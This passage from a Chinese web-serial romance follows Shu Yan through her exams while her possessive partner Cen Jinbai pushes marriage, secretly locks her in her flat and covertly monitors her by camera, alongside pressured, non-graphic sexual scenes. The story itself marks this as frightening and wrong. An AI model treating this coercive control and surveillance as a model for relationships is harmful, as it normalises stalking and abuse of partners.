她跑到他的面前,抬起头,用快要哭的眼睛看着他。 岑尽白觉得自己的心被刺了一下,但是这并不能平息他对齐刚的不能容忍。 依旧想要教训齐刚一顿。 舒颜却在这时踮起脚,在他冰冷的蓝眸下,颤抖又讨好地想要亲吻他的唇,但是岑尽白冷眼看着,并没有弯腰。 两人姿势谁高谁低一眼看得分明。 齐刚傻在那里:“舒颜……” 岑尽白太高了,舒颜只能将吻落在他的下巴处,有细小的胡茬扎了她的唇,唇上一阵麻意,又一下子磕碰到他的喉结。 这个吻,散尽了岑尽白周围的寒风。 她唇是疼的,他的喉结也是疼的,更多的是诧异。 她说:“岑尽白,你不要这样,我会害怕。” “齐刚只是来跟我道别,他这个人太冲动了,我知道你不会怪他的,是不是?” “我不会跟他走,我……” 她想说她会好好听话,但是这句违反本心的话,还是说不出口。 岑尽白看着她泫然若泣的脸,皱着眉。 好久,他才抬起手重重地给她擦了擦眼泪。 嗓音里裹着冷风,带着彻骨的寒意:“哭什么,我说要对他做什么了吗?” 舒颜的脸颊被他的指腹揉红,却停了眼泪,低下头,不想看见岑尽白。 更不敢去看齐刚的表情。 齐刚震惊地看着这一幕。 舒颜就这样在他面前,吻了岑尽白。 他震惊过后,猜到舒颜为什么要这样做后,先是愤怒,后又涌上来无限的悲哀。 除了用言语刺激岑尽白,他根本没办法帮舒颜逃出岑尽白的魔爪。 “小人!”齐刚咬牙切齿地骂道。 他冲过来,挥拳想要打岑尽白,岑尽白抱住舒颜闪头躲过,舒颜听见耳边一阵呼啸的风。 “别打!”舒颜大喊,阻拦了齐刚想要继续的动作。 她的神情有些祈求,但是还是带着笑:“齐刚,你回去吧,我现在过得很好,你快走吧。” 岑尽白站在她身后,看不见她给齐刚使眼色。 齐刚愣了一瞬。 舒颜转身,挽着岑尽白的手,想要拉他上楼,岑尽白一开始不动,一直用阴冷的眼神看着齐刚,像是某种冷血生物,但是齐刚是硬骨头,与他对视较量。 岑尽白掌心送进来一只手,一阵冰凉,是舒颜的手。 在外面太久了,舒颜的手已经快成一个冰碴子了。 舒颜再试着拉岑尽白走,这次他反握住她的手,收回落在齐刚身上的视线,乖乖跟着舒颜走了。 舒颜没有再回头,咽下心中的涩然。 齐刚站在没有人的小路上,抬头看见三楼的灯光亮起,两个人影交叠,亲密无间。 心脏抽痛,第一次觉得自己没用。 齐刚顶着月色,转身离开。 …… “要是我不回来,你会不会跟着他走?” 他喘着气,仍旧揪着这个问题不放,舒颜也不知道自己要回答多少次。 “不,不会。” 别再折磨她了。 他压制着她,将她从上至下地扫视着,看着她羞怯绽放,看着她难耐娇嗔。 “不会,真的不会。” 舒颜借着这个机会,终于无所顾忌地哭了出来。 将心中那些不甘、不敢说的怨恨,统统哭出来。 …… 这件事其实就是一个小插曲,第二日一切都会恢复正常。 舒颜一如既往地准备复习备考,岑尽白来得更加频繁,几乎每日都来,但不是每日都做。 两人有时候只是相对而坐,舒颜在备考,岑尽白就在一旁看着或是在阳台跟什么人打电话。 云雨时,他有时温柔,有时霸道,有时贪图新鲜想让她占据主导权,总之无论怎么样,舒颜都觉得挺累的。 这事肯定得有歇息的时候,两人就抱在一起,相拥而眠,亲密如爱侣,却让舒颜时常觉得喘不过气。 岑尽白还有一个坏习惯,这是她以前就发现的,他喜欢埋在她的胸口,情绪上来时不是闻就是舔。 “很疼。”舒颜皱眉抱怨,流露不满。 在某些事情上,岑尽白是很体贴的,她说什么他都会静静听着,有时也会听从,想要什么第二天就会出现。甚至她受不住时打他巴掌,他都能笑出来,凑过去亲亲她的手心。 这会让她有种被溺爱的幻觉。 “抱歉,我有些心烦。”胸口处传来他闷闷的声音。 但是他的牙齿咬合力减轻了。 是的,在一起生活久了,舒颜能察觉到他情绪明显的变化,通过一些肢体接触,通过一些不能为外人道的方式,通过他看她的眼神。 舒颜只好换一个更加舒服的姿势躺着,胸口的脑袋会小幅度的挪动,柔软的发岔扎进细嫩的皮肤,有些疼,但尚且还算能忍受。 她不会问他为什么心烦,因为她自知解决不了。 有时她会畸形地怀疑,岑尽白是不是想在她身上获取到母爱。 第55章 “舒颜,我们结婚” 12月末的一天早上,舒颜早早被噩梦惊醒,身边的岑尽白也醒了。 冬日里,舒颜身上出了一身冷汗。 她是个怕冷的人,在冬天总要裹得厚厚的。但是岑尽白体温偏高,冬天和他睡在一起,她也愿意。 但是被他暖到出汗,这倒是不至于。 岑尽白应该是还没完全清醒,直接从身后搂住了她的腰,在意识到她身上湿淋淋后,身形一顿,眼神也清明了起来。 但是并没有立即放开她,反而吻了吻她湿润的鬓角,带着无言的安抚。 “怎么了?做噩梦了吗?都是假的,不要怕。” 岑尽白的声音带着刚醒时的沙哑低沉,却又很温柔。 他安慰起来人有些笨拙,说的话也有些僵硬,总是不自信地去瞟舒颜的神情。 他没有干过安慰人的事情,但确实是想抚平她的害怕。 舒颜的唇色发白,瞳孔还有些涣散,听了岑尽白的话后闭上了眼睛。 “明天,就要考试了。” 她不抱希望,梦中也只是安安静静在考场答题的场景,但是纸张翻页的清脆声,笔尖落下的沙沙声,都在磨着她脑中细细的神经。 还有舒芸一遍遍的叮嘱和质问。 岑尽白只能将她收拢进自己的怀里,抱得紧紧的,在她的耳边说:“只是一场考试,不用太在意。” 蛇一样亲上她的耳后。 握着她的手,放在自己的耳垂上。 尽管没有戴耳钉,舒颜还是喜欢揉捏他的耳垂,特别是某些时候,不揉得红肿发烫,是不会放手的。 就像岑尽白所说的那样,不用太在意。 舒颜也这样想,但是那些曾经经历过的痛苦又要再经历一遍,她是如何都做不到平静面对的。 她侧头,只能看到他紧贴着自己的胸膛,被他身上霸道的气息缠裹。 在他这里,有时竟病态地感觉到一些安全感。 手下也用力几分,捏着那耳垂的软肉,惹得他喘了出来,热气钻进她的颈窝,清凉一片。 但他却不叫疼。 舒颜枕上那滚烫的胸口,身上黏糊糊的汗水在蒸发,眼神渐渐变得苍凉起来。 “要是我考不上,我就再没有逃脱的机会了,岑尽白,你的目的达到了。” 她推着他,一起重新倒在了床上,手指也松开了他的耳垂,随意放着。 岑尽白没做好准备,被她猝然推倒在床上,闷哼一声。又听见她说出这样自暴自弃的话,抿唇不语。 等他再看舒颜时,她闭着眼似乎已经睡着了,睫毛颤着,眉头皱着,还是不太安稳。 他神经病一样伸出手,想要将她的眉毛抚平,但是失败了。 岑尽白有些困惑。 呆在他身边不好吗?他会对她很好的。 * 寒冬腊月,出门是必须裹着围巾的,不然让冷风钻了脖子下的空子,冷意是彻骨的。 舒颜站在考场外身边站着Zero,岑尽白让他来送考。 身边人不是看手机就是捧着些个资料,口中念念有词,面容庄重寒肃。 让Zero莫名觉得有些压抑。 但舒颜倒是自洽,没看任何东西,只是站在那里,也不说话。 Zero只知道是要考试,但是他不理解这个考试究竟要考什么,只知道岑尽白跟他说这三天都要跟着舒颜,白天她想去哪都要跟着,要做到寸步不离。 至于晚上,他会自己安排。 “舒颜姐,你加油啊!”Zero挤出一个笑给舒颜打气。 这是舒颜收到的第二份加油,她浅笑着点点头。 第一份加油来自舒芸,她从昨天就开始叮嘱她要带好一切证件,复习到最后一刻,今天早上给她打了视频,被舒颜挂断,后面只好发信息,让她加油,反复叮嘱了一遍又一遍,不厌其烦。 早上出门时岑尽白只是静静地看着她,舒颜以为他要跟她说些什么,但是最后什么都没说。 临到进考场,舒颜的鞋子被踩到,后面的女孩慌慌张张道歉。 舒颜回头说没事。 俩人又聊了几句,发现竟然是一个大学的,相谈甚欢。 “我看你一点都不紧张哎,是心有成竹吗?”女孩戴着口罩,笑眼弯弯。 舒颜愣了一下,在裤子上蹭了蹭手心里的冷汗,讪笑:“哪不紧张,是紧张过了头,觉得无所谓。” 她不紧张,只是害怕。 舒颜:“这是我第二次参加考研了,你应该算我的学妹。” 女孩惊道:“第二次呀!要是我我都不愿意经历第二次这种事,太难熬了,这一年来吃不好睡不好头发少的,我考不上我也不再来一次了。” “哈哈哈,那学妹你一定要上岸啊。”舒颜笑得真挚。 “学姐你也加油啊,我考不上可是要回老家的,我爸妈想让我在老家工作。”她语气有些无奈,但可以感受到她话语中关于爱的甜蜜烦恼。 舒颜敛了敛脸上的笑,点点头。 踏入考场,监考老师拿着探测仪搜身,每发出一声滴滴声,她的心就骤停一次。 到她的那一刻,监考老师盯着她看,皱眉问:“你脸怎么那么白,没事吧?” 舒颜摇摇头,说没事。 监考老师没说什么。 …… 冲出考场的那一刻,冷风争先恐后地涌入喉咙。 上一次,她是被架出考场的,因为中途昏倒了。 这一次,她坚持完成了第一天的考试。 Zero迎上来,面露担心,想起岑尽白说过的话,没问别的。 …… 三天的考试,舒颜一场都没缺,最后一场结束后,不是Zero来接得她,而是岑尽白。 他在一众人当中相当显眼,没有做任何的遮挡,旁边人都在看他,但他像是无知无觉,目光盯着大门。 直到看到舒颜走出来,他那双浅淡又有些疲倦的眸子才多了一抹笑。 结束铃声响起的那一秒,舒颜浑身脱力,神思恍惚地走出考场,忽然觉得自己像个飘荡的游子,完成了某种神秘任务后,彻底找不到方向。 直到看见了那双浅蓝色的眼睛。 她忽然飞奔过去,在他有些错愕的神情下砸进了他的怀抱,瞬间被他身上的气息包裹住,冲入她的鼻腔,比冷风还霸道。 在这一刻,她找到了实感。 两年,七百多个日日夜夜。 “岑尽白,我考不上的……” 说完这句话,舒颜已经热泪盈眶,泪水尽数落下,断了线一样,将岑尽白的身上的西服沾湿。 岑尽白的神情没有波动,只是慢半拍地回抱着她,将人搂得更紧。 她考上与考不上,不是他关心的事情。 如果她臆想她考上就能离开他的话,那真是该笑她的天真。 这些话,当然不会跟她说。 他目视前方,蓝色的眼眸灰暗深沉,吓退了好些看向他们的目光。 周围人再多的议论声,舒颜都听不到,沉浸在自己的世界里。 但是,她听见岑尽白跟她说:“舒颜,我们结婚。” 舒颜听到这句话时,以为出现了幻觉,倏然停止了哭泣。 她用力挣开他的怀抱,脸上挂着泪痕,声音带着不可置信:“你说,什么?” 岑尽白神情无波无澜,自然地伸手帮她擦去脸上的泪痕,没有任何起伏地说:“我说,我们结婚。” 舒颜像是彻底傻了一样,唇色发白,神情呆愣。 脸上的泪已经不是干了就是被岑尽白擦去,除了眼圈红一些,没人能看出她刚刚哭过。 岑尽白说:“不会太快,但是我这样说,你会不会觉得安心?” 安心? 心如死灰还差不多。 舒颜没有立即拒绝他,而是呆呆问:“你想好了吗?” 她的脑子,还是混沌的。 岑尽白笑着,帮她整理了额前乱了的碎发:“想好了。” 他从来不觉得婚姻是个好东西,不过是一种形式主义,不代表什么。没有婚姻,难道就不能在一起了吗?尤其是看到秋月苓和岑方启婚姻的龌龊真相,让他很抵触婚姻。 在岑方启提出要让方芝和他结婚时,他甚至有些恶心。 但是之前齐刚的毛毛雨声讨,竟然一直徘徊在他的脑子里。 如果不和舒颜结婚,就要忍受这样让人恼火的觊觎,那他还真要考虑考虑。 曾有人将婚姻比作枷锁,如果这能锁死舒颜和他,那不乏也是一个好东西。 所以,在听到Zero不小心说漏了嘴的话后,他立马就想作出这个决定。 Zero说,方芝要将舒颜送走。 没想到,她还是想着要离开他。 方芝没有那个本事,让他愤怒的只有舒颜。 他低头去看她,面色有些沉。 但是舒颜垂下头,没说什么,自然也没发现岑尽白的脸色。 等她在抬头的时候,岑尽白如往常一样温柔地冲她笑了笑,牵起她的手,让她坐在了副驾驶。 舒颜已经能分辨出,这个笑容,不是真的。 副驾驶的位置让舒颜僵住不动了。 岑尽白以为舒颜还有阴影,安慰一句:“不要怕,这次会开慢点。” 舒颜哪里是怕这些,她怕的,是与岑尽白这个妖魔鬼怪般的人呆在一起。 “颜颜,再等一段时间,我们就可以结婚了。”岑尽白说得轻轻松松,将两个人的人生大事,说得像是喝水一样简单。 舒颜闭上眼睛,背靠着座椅,一副累极了的样子,轻轻嗯了一声。 她不愿意再看着他,他的笑容也就收了起来,目视着前方,默默加速,紧握着方向盘的手,昭示着他此刻是不安的。 她这样的反应,是什么意思,同意了?还是说只是骗骗他? 岑尽白一声冷笑,不再作他想。 …… 舒颜觉得自己好像睡了很久,醒来时,发现还是在车上,身上披着一件宽大的衣服,座椅已经被调到一个舒适的角度,难怪她睡得还算舒服。 这一觉,倒是驱散了不少的疲倦, 驾驶座的岑尽白腿上摆着一个电脑,正在接电话。 “一个月,尽快回国,不能再等了。”岑尽白对着电话里说。 看见舒颜醒了,他将电话挂断。 转头与舒颜对视时,脸上的冷冽不见,变为温柔小意的笑容:“你醒了。” 舒颜起身,将外套还给他,问他:“为什么不叫醒我?” “叫了,没醒。” 足以可见这三天舒颜有多累。 她揉了揉有些酸痛的脖颈,脑子里猛然想起在考场门口岑尽白说得话。 那时她疲于应付,现在再想,只觉得后怕。 她真的不能再等了。 正在思考退路的舒颜只觉得身上一轻,被人从腿弯抱起,然后落在了岑尽白的腿上。 他腿上的电脑,不知何时被他扔到了后座。 他附在她的耳朵旁,低低道:“颜颜,考不上也没关系的,我们一起计划未来的方向。我会帮你,无论你想做什么,我都会支持你的。” “如果我想去留学呢?”舒颜的这句话紧随其后。 抱着她的人忽然没了声音,只能感受到洒在侧颈上灼热的呼吸。 舒颜觉得自己冲动说出口的话,应该是错的。 过了不知道多久,他冷声反问:“你想离开我?” 舒颜与他对视,手主动抚上他的脸,浅笑:“没有,我开玩笑的。” 但是那双蓝眸并没有因为她这句话而有何变化,带着阴冷的温度盯着她。 Zero的那句话,他不该抱有希望的。 他想,也许舒颜是不愿的,是被方芝逼迫的? 明明车里开着暖气,舒颜缺被他看得身体流淌着的血液都是冷的。 她闭上眼,捂住他的双眼,凑上去亲了亲他的唇。 蜻蜓点水、一触即离。 蓝眸再露出时,已经不似刚刚那样冷了,取而代之的是浓黑的欲望。 舒颜本来最怕这样的眼神,现在却因此松了口气。 后脑勺被大掌锢住,按着她往他的方向去。 暴风雨般的吻袭来。 唇瓣相碰,他的力道却不减,死死按着她,让她与他之间没有一丝间隙,舌头如主人般强势,缠着她的舌尖,不断搅动,大有不死不休的气势。 舒颜是睁着眼的,岑尽白也是,那双眼睛充满侵略性地盯着她,不妨碍他嘴舌的动作,一旦她有推拒的动作,立马就会被拉回,被更加粗暴地对待。 她这才意识到,他今晚是不正常的。 血腥味在嘴里蔓延,舒颜渐渐不再反抗,闭上眼睛任由他发泄。 第56章 “过来,帮我系” 渍渍水声伴随着衣料摩擦的声音,在狭小封闭的空间内被无限放大,充斥着让人耳红心跳的暧昧因子。 只是舒颜此刻感觉不到暧昧,呼吸全部被掠夺,身体被禁锢住,唇上像被烧灼了一样火辣辣的。 他应该也疼,饶是这样,他仍旧不肯放开她。 …… 一吻闭,舒颜终于被松开,对上岑尽白的眼睛,却发现他眼里的火仍旧没有熄灭,看着她时像要将她吞吃入腹。 舒颜只觉得心中愤恨,面上又不能露出别的情绪,张开被吞吃得生红的唇,忍着疼意问:“你怎么了?” 她坐在他腿上,心中焦灼又难堪,一动都不敢动。 他终于开口,嗓音微哑:“没事。” 他说没事,舒颜也不想多问,又不敢乱动,只能期期艾艾看着他,说:“那我们回去吗?” 岑尽白望着她,眼里有舒颜看不懂的翻涌情绪,一阵心慌,偏偏他又什么都不说。 僵持不下,舒颜正准备大胆从他身上下去,听见他说:“你自己回去,我今晚不能陪你。” 舒颜的眸光闪了闪,几乎很快回应:“哦哦。” 岑尽白忽然捏住她的下巴,淡淡地问了那么一句:“你是不是还挺开心的?” 舒颜愣住:“什么?” 岑尽白:“听到我今晚不和你睡觉。” 舒颜抿了抿唇,唇上还有些麻,上面还破了皮。 她摇了摇头。 她这样乖巧,但是却计划着怎么离开他,岑尽白在心里想了又想,觉得好笑,也就笑出了声。 紧接着将他打开了车门,抱着舒颜下了车,又将她放下,眼中像是忍着什么,牵着她的手往巷子走:“送你回去。” 他走得极快,大步流星,舒颜差点跟不上。 卖淀粉肠的阿姨仍旧在巷子口,身边多了一个小女孩,看到舒颜,冲她打招呼。 舒颜回了一个微笑。 岑尽白转头看她笑颜如花地跟别人打招呼,没说什么,脚步倒是逐渐慢了下来。 俊男靓女走远,小女孩抬头望向自己的妈妈:“妈妈,哥哥为什么要拽着姐姐,哥哥看起来好吓人,他是不是在生气。” 女人笑着掐了下女儿的脸,说:“以后不要找这样的男朋友,长得好看有什么用,要对你好才行,记住了吗?” 小女孩懵懵懂懂地点了点头。 女人看着两个年轻人离去的方向,心中暗暗替小姑娘觉得可惜。 她看得出来,小姑娘没多喜欢那个男人。 快到出租屋时,岑尽白的脚步变得更慢了,忽然回头注视着她,然后又转头看着前方。 舒颜总算是知道了,岑尽白今晚身上有股别扭劲,但她并不知道他在别扭什么。 “到了。”岑尽白松开了舒颜的手,转身就要走。 舒颜虽然疑惑,但也没再多想,直接上了楼。 并没有看到她转身后岑尽白也转身的场景。 岑尽白站在那里,仰头看向三楼的亮灯,那昏黄的小点倒映在他的眼中,平添迷离。 他的手里攥着什么东西,低头看了眼后放回了兜里。 …… 舒颜这一觉睡得有些长,昨晚上楼后,没了岑尽白,也不用再烦心备考的事情,洗漱后直接睡着了。 一直到第二天早上十点才悠悠转醒。 手机里堆满了舒芸的消息。 她皱着眉看完,简单回了几句,不再回了。 以往这个时候,Zero早该给他发信息,送来早饭了,但是还今天没有。 这是被岑尽白养成的习惯。 猛然意识到后,她的神色变了变,掏出手机查看有没有漏掉岑尽白什么消息,发现并没有。 他的头像跟他这个人一样,冷漠静谧。 舒颜却越发觉得他昨天晚上很奇怪。 …… 直到她要出门时,惊讶发现门从里面打不开了,翻遍整个出租屋都没找到钥匙。 以往从里面拧锁,很快就会打开的,如今却怎么都拧不开。 舒颜这才意识到自己被锁在屋里了,而且没了钥匙。 她明明记得,昨天讲钥匙放在兜里了,今天怎么找都找不到。 难道丢了? 她抬头看向锁着的门,难道门会自己锁吗? 除了她自己,还有岑尽白有她的钥匙。 舒颜抱着手机,犹犹豫豫,还是发出了信息。 她害怕岑尽白现在正在忙,没时间管她。 【我钥匙好像丢了,门被锁了,不知道是不是又坏了,你能托人帮我开下门吗?很忙的话,等你有空再处理。】 信息刚发出去,那边就显示正在输入中了。 难道不忙? 舒颜盯着输入框,等着岑尽白的消息。 【我在楼下了,马上上来。】 看到这句话,舒颜心中疑惑,他怎么会在这时候回来? 岑尽白一般,都是在傍晚或者深夜来她这里。 不多时,门口传来开锁的声音。 舒颜穿着拖鞋哒哒跑过去。 开门后,岑尽白一身正装,手上拎着新鲜蔬肉,看样子是要自己下厨。 舒颜歉意地笑笑:“麻烦你了,你找人送来就好了。你不是很忙吗?” 岑尽白看了她一会儿,笑了下,唇上还带着血痂,是昨天她咬的。 他温声说:“不忙,刚刚已经解决了一件事。” 舒颜没问解决了什么,但是岑尽白给她的感觉已经和之前不一样了,心情貌似好了些。 她点了点头,让他进去。 又看见他将钥匙装在了自己兜里,反手将门关上。 舒颜想问他要钥匙,再去配一把。 等吃过饭再问他要吧。 出租屋里有围裙,舒颜刚来的时候就买了,但是她倒是没怎么用过。 她把那个绿色花边的围裙递到正在挽袖子的岑尽白面前,说:“穿上吧,厨房不是很干净。” 岑尽白低头看了眼那绿色花边,又看了看拿着它的舒颜,顿住动作,接了过去。 围裙在他身上小很多,甚至小得有些夸张。 舒颜挑得还是个比较可爱的款式,如今穿在岑尽白身上,像穿小孩子的衣服。 舒颜发誓,她是真的怕岑尽白的高级西装被弄脏,这才劝他穿上的,绝对没有任何的恶趣味。 但是她还是笑出了声,引来正在与围裙系带做斗争的岑尽白注目。 舒颜也看向他。 或许是围裙真的太小,他的胸口起伏明显,硕大的胸肌从围裙边缘爆出来。 舒颜摸了摸鼻子,憋住笑。 但是他又那样看着她,让她忍俊不禁。 岑尽白看着她明显狡黠的笑容,勾了勾唇。 “过来,帮我系。” 舒颜停了笑:“啊?” 反应过来才知道他要她干什么,他身后的系带还没有系好。 舒颜也没扭捏,直接上前帮他。 没想到他的腰平时看起来劲瘦,但是围裙的系带系起来却很勉强,舒颜系了大半天终于系好。 切系得很紧。 系好后岑尽白转身,拎着买来的蔬肉,就这样走进了厨房。 舒颜觉得让一个大少爷做饭不好意思,想了想也走了进去。 十点多的阳光正盛,岑尽白整个人沐浴在阳光下,这样的穿着打扮,竟莫名有些和谐的美感。 他正在洗菜,羊脂玉般的手翻着一片片菜叶,水龙头流出清亮的水淋在他的手上,凸起的青筋上挂着滚滚水珠,颇为赏心悦目。 舒颜承认自己好色,不然当初也不会因为他的皮囊主动接近,如今想甩开都甩不掉。 大概是报应吧。 岑尽白自然是瞟见了她,唇角挂着温柔的笑意:“你站在这里是想帮忙吗?” 舒颜回神,看着他的脸,告诉自己不要被他的表象迷惑。 她说:“需要吗?” 岑尽白将水池里的菜又洗了一遍,极尽细致,然后扭头看她:“不用,你等着就好。” 舒颜点点头,正要退出,忽然听到他轻声说:“你看,我们这样,像不像夫妻?” 脚步被按下了暂停键,她的脑子也像是被按下了暂停键。 刚刚的一切,都成了假象。 岑尽白像是看不出舒颜的神色难看,只管说着:“颜颜,若是我们结婚了,我就带你去另一个地方,每天都会见面,每天我都给你做饭,你说好吗?” 他说着说着,竟生出几分向往之色,令舒颜连连后退,努力调整着脸上的神情。 她颤抖着嘴唇说:“我们认识,不到三个月。” 也只能找到这个借口,但是还说出来,她自己也猛然意识到。 原来他们认识的时间,那么短。 岑尽白这时已经将菜洗好,手正握着菜刀,锋利的刃斩向纤薄的*菜叶,动作很轻,拿刀又稳又熟练。 “你错了,在我的印象中,我们已经认识好久了。” 他面上浅笑,手起刀落,从容中带着慢条斯理。 舒颜慌乱中不免有些疑惑,她的记忆里,他们第一次见面,分明是在岑家的别墅。 那时她戴着遮住半张脸的黑框眼镜,留着厚重的刘海,背后拖着大大的皮箱,手里还拿着一本书。 活脱脱是个书呆子的呆板形象。 出租车只能开到别墅区门口,她一个人拖着箱子,冒着冷风,站在鳞次栉比、别致高雅的别墅楼下,仰头望天。 门卫看舒颜的打扮,皱着眉拦住她,目光充满对她的排斥。 他在电话里确认了好一会儿,终于挂着讨好的笑开了别墅区的门。 舒颜自知自己和这里格格不入,对门卫的眼神免疫。 按着舒芸发来的地址,总算找到了岑家别墅的所在地。 她先是低头看了眼手中的书,“考研数学”四个字引入眼帘。 旁边的垃圾桶响了一声,是舒颜没什么表情的将书扔了进去。 然后若有所感的抬头,与一双凛冽至极又暗含深意的蓝色眼睛对上。 他甚至还对着她笑了一下,妖艳似女人的一张脸。 舒颜呆愣在那里。 这是她记忆中和岑尽白的第一次见面。 而那本书,后来又从岑尽白的手中,再次回到她的手中。 …… 岑尽白做饭看起来慢,但是井井有条,效率极高。不过四十分钟,岑尽白就端着炒好的菜出来。 他简直就是一个贤惠的人夫形象,嘴里温柔喊着:“颜颜,吃饭了。” 舒颜木然地抬起头看向他。 尽管岑尽白身上的围裙衬得他有些滑稽,可是舒颜却笑不出来了。 他的笑容才是魔鬼笑容。 此时的舒颜坐在沙发上,手中攥着手机,屏幕亮着,面色苍白,整个人好像脱去了水分。 岑尽白面色一顿,还是笑着,又喊了一声:“颜颜,吃饭了。” 舒颜还是不动。 岑尽白无奈般摇了摇头,将身上那件不合身的围裙脱了下来,但是后面的系带不知为何就是解不开,他竟然生生将它扯断。 后又扔在了地上。 他走过来,俯身将沙发上的舒颜抱起来,像抱一个孩子那样轻巧。 舒颜的手机滑落到地上岑尽白铺得软毯上,岑尽白看过去,屏幕上是和一个陌生号码的聊天框。 寥寥几句,岑尽白根本不屑于看清楚。 他神色仍旧温和,抱着她的动作又轻又带着安慰。 他说:“无论发生什么事,吃饭是最重要的事情。” 第57章 她很乖,只是想要离开我 舒颜被抱到餐桌旁,在岑尽白的注视下吃了几口,最后实在吃不下,放下了筷子。 岑尽白看着她,问:“是不合胃口吗?” 舒颜摇摇头,就是不看他。 岑尽白没说什么,视线看向自己做的菜。 食材是他亲自去买的,菜是按照她重辣的口味做的。 但是她没吃几口。 他放下了筷子,也不吃了,将桌上的饭菜全都倒入了垃圾桶里。 “你干什么?”舒颜皱眉看向他。 几乎没动过的菜,也被他倒了,舒颜出声也只是觉得他浪费,明明可以热一下再吃的。 岑尽白笑着说:“你不喜欢,那就扔掉。” 舒颜面上沉着,内心打鼓:“岑尽白,别发疯。” 他将饭都倒了之后,可能是觉得脏,转身洗了个手,回来时一边整理着袖子一边走向她,停在半步远。 她的手心被塞进一个温热的金属制品,舒颜低头看去,是钥匙。 她仰头看他,又低头看手中的钥匙,低声说:“还以为你不会给我了。” 岑尽白默了几秒,手指在她的掌心挠了挠,“怎么会呢?你不会以为我想把你关在这里吧?” 舒颜抿抿唇,抬头反问:“你难道没有这样的想法吗?” 岑尽白似乎惊讶她的直白,微微挑眉。 这时候外面传来张奶奶的喊声:“舒颜,你的快递到了,不知道怎么敲我家的门,你是不是填错门牌号了?” 舒颜看了岑尽白一眼,握着手中的钥匙站起身,准备给张奶奶开门。 “有。”身后的岑尽白回答了她的问题。 舒颜只是顿了脚步,随即像是没听到一样走向门口。 “看看,是你买的吗?”张奶奶将一个方正的包裹递给舒颜。 舒颜低头看了一眼,抬头对着张奶奶笑笑:“是的,张奶奶,这是我的。” “可能是我填错了地址,才送到你家去的。” 张奶奶也没介意,只说下次记得别填错了。 然后就看到舒颜身后忽然出现的岑尽白。 “你男朋友也在啊?” 张奶奶是看着这对小情侣闹别扭再到和好,分分合合的,不知道是个什么结果,就算是舒颜不承认他们是情侣,她也从心底认为这个看起来不是一般人的男人,就是舒颜的男朋友。 不然说人家小姑娘是被包养的吗? 张奶奶说不出口。 舒颜笑笑,但没点头。 岑尽白似乎在想什么事,只跟张奶奶笑着打了招呼后就不再说话了。 “那我就不打扰你们了,先走了。”张奶奶关上了对面的门。 又嘱咐一句:“别吵架啊,和和气气的。” 舒颜将包裹拿进屋里,岑尽白跟上她的脚步,问:“买的什么?” 舒颜回:“一双鞋。” 岑尽白没多问了,舒颜当着他的面拆开,确实是一个普普通通的鞋盒子。 …… 岑尽白临近中午回来,呆了不久就要走,就像是专门回来给她送钥匙一样。 他说他今天晚上不来,要过几天才来。 舒颜没理他,他也没在意,说完之后抱着她亲了亲,转身走了。 铁门吱呀关上的声音在屋内回荡,舒颜像是浑身脱力一般坐在了地上。 原来昨天,她真的是被岑尽白锁在了这个屋里。 若不是她收到方芝的消息,可能还没意识到发生了什么事。 方芝说岑尽白找到她,知道了她们两个人的计划,她们走不了了。 那时候岑尽白正在厨房做饭,她拿着手机,看着他的背影,恨不得上去掐死他。 但是不能,她根本斗不过他。 不过方芝不会因为岑尽白一两句警告或者找人盯着她就放弃。 “舒颜你听着,我这个人就是说到做到,说送你出国就送你出国,他岑尽白算什么东西,凭什么限制你的自由!我们大女人要有更广阔的天空!” “别以为几句话就能拦住我,跟你说实话,他现在在岑氏根本没什么实际权力,全都要靠他爸,你看他现在,画画都画不了了,被他爸拿捏,他又凭什么拿捏你啊!” “岑尽白爸妈都希望我嫁到他们家,确实,我喜欢岑尽白那张脸,等你走了,他要是娶了我,我还是会被他那张脸迷住,舒颜你别怪我啊,我就是喜欢他这款。” 她愣愣地拿着手机,回神后发现自己早已泪流满面,紧接着脸色煞白,心中的某一方,轰然崩塌。 “喂?舒颜,别不说话啊?你不是不喜欢尽白哥吗?还是你不想走了?爱上他了?” 最后挂断电话,方芝又发来几条消息,但是她没有回。 然后岑尽白走出来,喊她去吃饭。 看到他那张脸,只觉得更恐怖了。 世上不是所有人都有选择权,方芝和她不同,她是有选择权的那个人,所以她找她帮忙。 如果可以,她也想成为一个有选择权的人。 …… 晚上,岑尽白如约而至,进门后没看到舒颜,找了好久才发现她在阳台。 正蹲在那里看他之前搬到这里的栀子花。 她还上手摸栀子花白色的花瓣,手上的动作小心翼翼,带着无限怜爱。 像是知道身后的人是谁,她没回头看他,反而说:“岑尽白,你看,让花盛开在不适合它的季节,它一定会难过死的。” 她手中的花瓣,已经蔫了,耷拉在她手上,毫无生机活力。 岑尽白不懂她所说的深意,回答:“即便是谢了这一盆,我还能再送你许多盆,总有活下来的。” 舒颜轻笑,“岑尽白,万物生长有其自然规律,强求没有结果。” 他莫名觉得她说得话刺耳,此刻她的样子也让他有些心烦,干脆一把将她拉起来,让她看他。 她看他的眼神冷漠无比,像一把尖刀。 他的心被无声地划了一道血淋淋的口子。 …… “颜颜……颜颜……颜颜……” “你看看我……你看看我……你看看我……” 像鬼魅一样的声音响在耳畔,但在舒颜听起来却像是索命的鬼一般,极致之下感觉自己的灵魂都被夺走,只剩下作为人的最后一点世俗欲。望。 他的吻胡乱落着,充满着不安,却惹得舒颜浑身战栗不止。 哪有什么洁癖,都是哄她的。 要是她捂住哪里,哪里就会遭罪。 最后她干脆自暴自弃,任由他怎么做。 …… “老师,三天后我回美国,你确定不回了吗?”Zero对着坐在办公椅上的男人说。 “不了。”岑尽白没有抬头,视线盯着电脑。 从上午到现在,除了必要时候,岑尽白的视线,大部分时间都是放在电脑上的。 Zero好奇很久了,这次趁着岑尽白没注意,悄悄上前看,结果在电脑屏幕上看见一个背影。 很像舒颜。 还没等他仔细看,电脑就被合上,岑尽白抬眼看他,眼里全是警告。 岑尽白居然在监控舒颜! Zero是一个崇尚自由的人,他神色纠结,即便他有些怕岑尽白,但是他还是说:“老师,你这样,就是侵犯舒颜姐的隐私,这样是不是不太好?” “Zero,别再多嘴了。”岑尽白说。 Zero想了想还是觉得这样不好,循循善诱道:“老师,你这样要是被发现了,舒颜姐只会更想离开你,你这种行为已经不正常了。你试着正常去面对舒颜姐呢?我觉得她是一个很好的人,看着就很温柔。” “爱一个人,不是应该让她开心吗?你觉得,舒颜姐现在开心吗?” “老师,你开心吗?” 岑尽白低着头,看不清他脸上的神色。 Zero以为他听进去了,想继续说,但是岑尽白直接一声:“你出去。” 三个字制止了Zero接下来想要说出口的话。 Zero看了岑尽白一眼,他完美的脸上蒙上冰霜,他想,自己的话可能起了一些作用。 “老师,你还是,换一种方式吧。” 